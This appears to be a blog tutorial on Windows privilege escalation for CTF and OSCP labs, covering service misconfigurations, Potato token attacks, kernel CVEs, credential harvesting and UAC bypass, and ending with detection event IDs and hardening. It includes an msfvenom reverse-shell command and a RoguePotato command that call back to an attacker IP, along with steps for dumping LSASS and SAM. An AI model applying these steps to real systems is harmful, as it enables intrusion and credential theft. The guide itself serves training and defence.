You have a shell on a Windows host. It is iis apppool\defaultapppool, a service account, or a domain user you phished — whoami returns a name with no admin rights, and you cannot read another user's files, dump LSASS, or install a service. Windows privilege escalation is the discipline of turning that shell into NT AUTHORITY\SYSTEM by finding and abusing one local misconfiguration. On a CTF box or an OSCP exam target it is the second half of nearly every machine; on a real engagement it is the difference between one compromised web app and full control of the endpoint — and, from there, the domain.
This is the companion to our Linux privilege escalation methodology, and it follows the same rule: order beats luck. You enumerate the whole host first, then work the vectors from highest-probability to last-resort — service misconfigurations, token privileges and Potato attacks, kernel exploits, harvested credentials, then UAC and installer abuse. Every section gives the exact command to find the weakness, the exact command to exploit it, and — because CyberHawk is a defensive shop — the Windows event ID and hunt query a blue team uses to catch it.
Authorisation first. Everything below assumes your own lab, a CTF you are entitled to play, or a client system inside a signed engagement scope. Escalating privileges on a machine you do not own or have written permission to test is a crime under the US CFAA, the UK Computer Misuse Act and equivalents worldwide. Build the lab in Phase 02 and rehearse there until the workflow is muscle memory.
◈ Table of Contents
01 — What Windows PrivEsc Is & Why It Matters
CONTEXTWindows enforces privilege through two layers that you must hold in your head the entire time. The first is the access token — every process carries one, and it lists the account's SID, its group SIDs, and its privileges (the Se*Privilege constants such as SeImpersonatePrivilege and SeDebugPrivilege). The second is the integrity level (IL): Low, Medium, High, or System. A standard user runs at Medium IL; an elevated administrator runs at High IL; SYSTEM runs at System IL and is exempt from almost every check. Privilege escalation is any technique that upgrades the token you hold or the integrity level you run at, usually landing you on NT AUTHORITY\SYSTEM.
There are two families. Vertical escalation moves from a standard user or service account to SYSTEM or a local administrator — the goal on almost every CTF box and OSCP target. Horizontal escalation moves sideways to another same-privilege account whose stored credentials or token you can steal. This guide focuses on vertical escalation to SYSTEM, but the credential-harvesting steps in Phase 07 feed horizontal moves and the pivot into Active Directory too.
Why an attacker needs it
A web shell as a service account cannot dump LSASS, read another user's registry hive, install a driver, or disable Defender. SYSTEM removes every one of those limits and unlocks credential theft.
Why a defender studies it
Every vector here is a hardening item and a detection rule. If you know how PrintSpoofer, an unquoted service path, or GPP cpassword is abused, you know exactly what to audit and alert on.
Why OSCP cares
The exam scores full marks only on the SYSTEM/root proof. A foothold gets partial credit; the escalation half is where candidates lose points by guessing instead of enumerating.
Why it precedes the domain
Local SYSTEM lets you harvest cached credentials, machine account hashes and Kerberos tickets — the fuel for lateral movement and the jump from one endpoint to Domain Admin.
The single most common reason people fail at Windows privilege escalation is impatience: they spot one service, throw an exploit at it, and move on when it fails. The fix is a disciplined enumeration pass — automated and manual — that captures the whole attack surface before you touch anything. That pass starts in Phase 03; first you need a safe place to run it.
02 — Prerequisites & Lab Setup
BUILD SAFELYYou need an attacker box, at least one deliberately vulnerable Windows target, and a host-only network that keeps the lab off your LAN and off the internet. The attacker box is Kali Linux; the safest practice targets are purpose-built VMs where every misconfiguration in this guide already exists, so you can rehearse the full workflow without touching anything you don't own.
| Component | Recommended | Purpose |
|---|---|---|
| Attacker | Kali Linux 2026.x VM | Hosts Impacket, PsExec, msfvenom, a listener, the PEAS/Potato binaries |
| Hypervisor | VMware Workstation / VirtualBox, host-only net | Isolates the lab; lets you snapshot before each exploit |
| Target 1 | TryHackMe "Windows PrivEsc" / "Steel Mountain" | Every vector pre-planted, guided rooms |
| Target 2 | HackTheBox retired Windows boxes, VulnHub | Realistic, unguided practice |
| Target 3 | Windows 10/Server 2022 eval VM you misconfigure | Learn by planting the bug and then finding it |
| RAM | 16 GB+ rec | Kali + one Windows target comfortably 8 GB min |
Pull the standard escalation binaries once and keep them in a folder you serve over HTTP. WinPEAS and PowerUp do the enumeration; accesschk.exe (Sysinternals) checks ACLs; the Potato family and PrintSpoofer abuse impersonation privileges. Match the architecture — grab the x64 build unless the target is 32-bit.
Windows has no wget, but it ships several downloaders. PowerShell's Invoke-WebRequest is the default; certutil is the classic fallback that survives on Server Core; SMB is the fastest when outbound HTTP is filtered. Drop files somewhere you can execute from, such as C:\Windows\Temp.
WinPEAS and the Potato binaries are flagged by Defender the instant they hit disk. In a lab, exclude your working folder; on an engagement, prefer the obfuscated PowerShell modules (PowerUp) or a manual pass. Never assume a red-team binary is silent on a monitored host.
03 — Enumeration: Automated & Manual
FIND EVERYTHING FIRSTEnumeration is 80% of the work. Run an automated scanner to sweep the whole surface, then confirm each interesting hit by hand — the automated tool tells you where to look, but you decide what is exploitable. Do the automated and manual passes both; each catches things the other misses.
WinPEAS colour-codes findings — red/yellow highlights are the ones worth chasing. PowerUp's Invoke-AllChecks is a quieter PowerShell-only second opinion that also generates ready-made abuse functions. Run both; note every service, writable path, stored credential and dangerous privilege it prints.
WinPEAS output scrolls off a shell. Redirect it: wp.exe quiet > C:\Windows\Temp\wp.txt, exfil the file, and read it on Kali with colour intact using less -r. You will spot the yellow-on-red service ACL findings far faster than scrolling live.
Capture systeminfo verbatim — you feed it to a missing-patch mapper in Phase 04. Confirm the OS build, architecture and hotfix list. On a real host the "Hotfix(s)" line is often the fastest route to a kernel exploit.
The single most important command in this entire guide is whoami /priv. If it lists SeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege, SeRestorePrivilege or SeTakeOwnershipPrivilege as Enabled, you have a near-guaranteed path to SYSTEM (Phase 06). Then map your groups and any local admins you might already sit near.
- A list of every non-default service and its binary path
- Your exact token privileges (the whoami /priv line)
- The OS build + hotfix list saved for the patch mapper
- Any world-writable folders that sit on a service or PATH
- Stored credentials, AutoLogon values, and config files worth reading
04 — Kernel & Missing-Patch Exploits
WHEN PATCHING LAGSIf the host is missing patches, a kernel or driver exploit is the most direct route to SYSTEM. This is a last-resort family on a real engagement — kernel exploits can blue-screen the target and are noisy — but on an unpatched CTF box it is often the intended path. Feed your saved systeminfo.txt to a mapper, then pick a stable, well-tested exploit for the build.
Windows Exploit Suggester — Next Generation (WES-NG) parses systeminfo output offline and lists the CVEs the host is missing a fix for, ranked by whether a public exploit exists. Watson and the Metasploit local_exploit_suggester do the same from an active session.
Do not fire the first result blindly. Cross-check the CVE against a trustworthy write-up and prefer exploits with a clean reputation for the exact build. The table below lists common, NVD-confirmed Windows local-privilege-escalation CVEs you will meet in labs and on real hosts — each has public tooling and, for several, in-the-wild abuse.
| CVE | Component / Name | CVSS | Why it matters |
|---|---|---|---|
| CVE-2021-36934 | SAM/SYSTEM hive ACL (HiveNightmare / SeriousSAM) | 7.8 | Non-admins can read the SAM & SYSTEM hives → offline hash dump |
| CVE-2021-34527 | Print Spooler (PrintNightmare) | 8.8 | Spooler loads an attacker DLL as SYSTEM; local + remote variants |
| CVE-2023-21768 | Ancillary Function Driver for WinSock (afd.sys) | 7.8 | Reliable Win10/Server 2022 LPE with well-known public PoC |
| CVE-2024-30088 | Windows Kernel (Win32k TOCTOU) | 7.0 | Token-swap race to SYSTEM on patched-lagging builds |
| CVE-2025-29824 | CLFS driver (clfs.sys) | 7.8 | Zero-day abused by ransomware crews before the April 2025 fix |
Kernel exploits are one-shot on production. A failed CVE-2024-30088 race or a mismatched afd.sys build bug-checks the box and drops your shell — and on an engagement, that is an availability incident you caused. Snapshot the lab VM first, and on real targets exhaust the config-based vectors in Phases 05–08 before you reach for a driver exploit.
05 — Service & Registry Misconfigurations
THE RELIABLE WINSService and registry misconfigurations are the bread and butter of Windows escalation because services run as SYSTEM by default and third-party installers get their ACLs wrong constantly. These vectors need no memory-corruption exploit — just a writable path the SCM trusts. Work them in this order: unquoted paths, weak service permissions, weak binary/registry ACLs, then DLL hijacking.
If a service's binary path contains a space and is not wrapped in quotes, the SCM tries each space-delimited prefix as an executable. Drop a payload named for that prefix in a writable parent directory and the service launches it as SYSTEM on next start. It is old, but it still appears on real corporate hosts, third-party installers and OSCP boxes.
Say the result is C:\Program Files\Vuln Service\service.exe running auto-start. If you can write to C:\Program Files\Vuln Service\, the SCM will try C:\Program Files\Vuln.exe first, then C:\Program Files\Vuln Service\service.exe. Check the ACL, plant the payload, restart.
Generate the service-safe payload with msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe-service -o rev.exe. The exe-service format answers the SCM's control handshake so the service starts cleanly instead of timing out and rolling back.
If your user has SERVICE_CHANGE_CONFIG on a SYSTEM service, you do not need to touch its files — just repoint its binary. accesschk shows which services you can reconfigure. Set binPath to your command, restart, and the SCM runs it as the service account.
The space after binPath= is mandatory — sc parses binPath= "cmd..." but silently mangles binPath="cmd...". And remember your changes: note the original binPath before you overwrite it so you can restore the service after the test.
Two adjacent misconfigurations: the service's executable file is writable by you (replace it directly), or the service's registry key under HKLM\SYSTEM\CurrentControlSet\Services is writable (edit ImagePath yourself). PowerUp flags both as "ModifiableServiceFile" and "ModifiableService".
Programs that autostart from an HKLM Run key or a scheduled task run as whoever logs in — often an admin — or as SYSTEM. If the referenced binary or its folder is writable by you, replace it and wait for the trigger. Enumerate both, then check the ACL on whatever they point at.
A privileged process that loads a DLL by name (not full path) searches its own directory and the PATH first. If any of those locations is writable and the DLL is missing there, drop a malicious one with the right export table and it loads at SYSTEM. Procmon (in a lab) reveals "NAME NOT FOUND" on DLL loads — those are your candidates.
06 — Token Privileges & Potato Attacks
SERVICE ACCOUNT → SYSTEMIf whoami /priv handed you an impersonation or backup privilege, this is the fastest path in the guide — often a single command. These privileges are common on service accounts (IIS AppPool, SQL Server, LocalService/NetworkService), which is exactly what a web-app compromise gives you. Match the privilege to the technique below.
| Privilege | Held by (typical) | Escalation route |
|---|---|---|
| SeImpersonatePrivilege | IIS AppPool, MSSQL, service accounts | PrintSpoofer / GodPotato / RoguePotato → SYSTEM |
| SeAssignPrimaryToken | Some service contexts | Potato variants (token assignment) |
| SeBackupPrivilege | Backup Operators, backup agents | Read SAM/SYSTEM hives → offline hash dump |
| SeRestorePrivilege | Backup Operators | Overwrite a protected binary / registry key |
| SeDebugPrivilege | Admin-adjacent, some monitoring accounts | Dump LSASS / inject into a SYSTEM process |
| SeTakeOwnershipPrivilege | Rare, misconfigured accounts | Take a protected object then rewrite it |
A privilege that is present but Disabled still counts — most tools enable it on the fly. What you need is for it to appear at all in the token. Re-run the one command that matters and read the state column.
With SeImpersonatePrivilege, the Potato family coerces a SYSTEM process into authenticating to you, then impersonates its token. PrintSpoofer abuses the print spooler's named pipe; GodPotato works across modern builds via DCOM; RoguePotato is the fallback when the local spooler path is blocked. Any one drops a SYSTEM shell.
If PrintSpoofer returns "the operation completed successfully" but no shell appears, the spooler is disabled. Switch to GodPotato (DCOM-based) or RoguePotato with an OXID resolver redirect — RoguePotato.exe -r 10.10.14.5 -e "C:\Windows\Temp\rev.exe" -l 9999 — which does not depend on the spooler at all.
SeBackupPrivilege lets you read any file regardless of its ACL. Copy the SAM and SYSTEM registry hives, exfil them, and dump the local hashes offline with Impacket. The local Administrator hash then unlocks a pass-the-hash into a SYSTEM shell (Phase 09).
SeDebugPrivilege lets you open any process, including LSASS, which holds the plaintext-adjacent credentials of everyone logged on. Snapshot it with the signed procdump (quieter than touching mimikatz on disk) and parse the dump on Kali with pypykatz.
Directly reading lsass.exe memory is the single most heavily monitored action on a modern endpoint — Defender for Endpoint alerts on the handle open with 0x1010 / 0x1410 access masks. On an engagement, expect a detection; in a lab, use it to generate that telemetry and validate your EDR rule.
07 — Credential Harvesting
PASSWORDS LEFT LYING AROUNDWindows and the software on it store credentials in a dozen predictable places. Harvesting them is often easier than any exploit — a saved admin password in the Credential Manager or an AutoLogon value in the registry hands you a higher-privilege account outright. Sweep every location below.
The Windows Credential Manager can hold cached admin logons. cmdkey /list shows stored targets; if an administrator credential is saved, you can run a command as that account without ever knowing the password using runas /savecred.
If the box auto-logs-in, the account and its cleartext password sit in the Winlogon registry key. PuTTY sessions, older VNC installs and saved WiFi profiles leak secrets the same way. Query them directly.
On domain-joined hosts, legacy Group Policy Preferences pushed local-admin passwords in Groups.xml on SYSVOL, AES-encrypted with a key Microsoft published. Any domain user can read SYSVOL, grab the cpassword value, and decrypt it instantly.
On unpatched Windows 10/11 builds, the SAM, SYSTEM and SECURITY hives were readable by non-administrators — icacls showed BUILTIN\Users with read access where there should be none. If Volume Shadow Copies exist, you copy the hives out of a snapshot and dump them offline, no admin needed.
Deployment leaves credentials in files. Unattend.xml, sysprep.xml and autounattend.xml can contain a base64 local-admin password; application web.config, .git folders and PowerShell history frequently hold connection strings and API keys. Grep the disk.
Reuse is your friend: any password you recover here is worth spraying against every other account and service on the host and the domain. Feed harvested plaintexts and hashes straight into Phase 09's pass-the-hash and runas steps before you burn time on a harder vector.
When the host is domain-joined and AD Certificate Services is present, a standard user can escalate to Domain Admin by abusing machine-account certificate enrolment — the Certifried flaw. It is out of scope for pure local SYSTEM, but if your enumeration shows a CA, note it: local SYSTEM plus ADCS is frequently a direct line to the domain.
08 — UAC Bypass & Installer Abuse
MEDIUM → HIGH ILSometimes you already control an account that is in the local Administrators group but running at Medium integrity because of User Account Control. Here you are not gaining new rights, you are unlocking the ones you already hold. And if a single misconfigured policy is set, you skip UAC entirely.
If both the HKCU and HKLM AlwaysInstallElevated policy values are 1, any user can install an MSI that runs as SYSTEM. This is a full escalation from a standard account — no admin group needed. Check both keys; you need both set.
When your account is already an administrator but running at Medium IL, an auto-elevating binary such as fodhelper.exe can be hijacked through a writable registry key it reads, launching your command at High IL without a UAC prompt. This only works because you already hold admin rights.
Clean up the hijack key after the test: reg delete "HKCU\Software\Classes\ms-settings" /f. Left behind, it is both an IOC a defender will flag and a stability risk for the ms-settings handler on the host.
If you can write to a folder a privileged scheduled task runs from, or to the All Users Startup directory, your payload executes on the next trigger or logon under a higher-privileged context. Confirm the write, drop the payload, and wait.
09 — Getting & Proving SYSTEM
CASH IN THE WINSeveral vectors above give you a local-admin account or an admin hash rather than a shell. This phase converts either into an interactive SYSTEM session and captures clean proof — the part an OSCP report and a client deliverable both require.
With local-admin rights or the Administrator hash, PsExec launches a shell as SYSTEM (-s) with the built-in service manager. If you only have a hash, Impacket's psexec/wmiexec pass it directly — no cracking required.
Capture the SYSTEM identity, the hostname and the proof file in one screenshot — an assessor wants to see nt authority\system next to the flag, not a bare hash. Then undo every change you made: restore reconfigured services, delete planted binaries and hijack keys, and remove any account you added.
- whoami returns nt authority\system (or an admin at High IL)
- You can read another user's files and the proof flag
- You captured a screenshot with identity + hostname + IP
- Every service, registry key and account you changed is restored
- The exact vector and command are written up for the report
10 — Detection & Hardening (Blue Team)
CATCH IT · CLOSE ITEvery technique above throws telemetry. This is the half of the guide that pays CyberHawk's rent: turn the attacker's playbook into detections and hardening. Start from the Windows event IDs each vector generates, then build the hunt queries.
| Vector | Signal / Event ID | ATT&CK |
|---|---|---|
| Service reconfigured | Security 4697 / System 7045 (new service) | T1543.003 |
| Potato / token abuse | Security 4672/4673; Sysmon 1 child of service acct | T1134.001 |
| LSASS access | Sysmon 10 targeting lsass.exe; MDE alert | T1003.001 |
| Scheduled task added | Security 4698 | T1053.005 |
| fodhelper UAC bypass | Sysmon 13 on ms-settings\Shell\Open\command | T1548.002 |
| MSI SYSTEM install | Sysmon 1: msiexec spawns cmd/powershell | T1548.002 |
The two highest-signal detections are a service binary being repointed and a SYSTEM child process spawned from a service account (the Potato pattern). Run the KQL in Microsoft Sentinel / Defender and the SPL equivalent in Splunk.
The fodhelper bypass writes a very specific registry path that no legitimate software touches, and sc config/new-service events are rare enough to alert on directly. These two catch Phases 05 and 08.
Pair detection with prevention. The three cheapest hardening wins that kill most of this guide: quote every service binPath and lock the ACLs on service folders; set both AlwaysInstallElevated keys to 0; and deny SeImpersonatePrivilege to any account that does not strictly need it. Add LSASS protection (RunAsPPL) and Credential Guard to close Phase 07.
11 — Troubleshooting & Sources
WHEN IT WON'T POPEscalation attempts fail for a handful of recurring, fixable reasons. Work the table before you assume a vector is dead — nine times out of ten it is an architecture mismatch, an ACL you misread, or a payload format the SCM rejected.
| Symptom | Likely cause | Fix |
|---|---|---|
| PrintSpoofer "success" but no shell | Print Spooler service disabled | Switch to GodPotato (DCOM) or RoguePotato |
| Service starts then rolls back | Payload is a plain exe, not exe-service | Rebuild with -f exe-service; keep the runtime under 30s |
| "Access is denied" on sc config | You lack SERVICE_CHANGE_CONFIG | Re-check with accesschk; pick a service you can actually modify |
| Exploit crashes the host | Wrong build / architecture for the kernel PoC | Match x64/x86 and exact build; snapshot first |
| whoami /priv shows nothing useful | Standard user, no special privileges | Pivot to services (05), creds (07), or kernel (04) |
| Payload deleted on write | Defender real-time protection | Use PowerUp / living-off-the-land, or an excluded lab folder |
| certutil download blocked | Egress filtering / SmartScreen | Fall back to SMB copy or PowerShell WebClient |
Sources & References
VERIFY EVERYTHINGEvery CVE cited here was confirmed against the NVD database. Primary references for the techniques and the tooling:
◈ Take the methodology further
Rooted the box? The next move is the domain. Pair this with our Linux privilege escalation guide and OSCP 2026 study plan to build the full offensive workflow, then use the CyberHawk SOP library to see how a blue team responds to every technique above.
Run a hash, IP or domain you recovered through the CyberHawk IOC Scanner, and follow the CyberHawk blog for hands-on offensive and defensive tooling guides.
◈ Stay Connected
Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.
"They can't exploit you if you are the Exploit."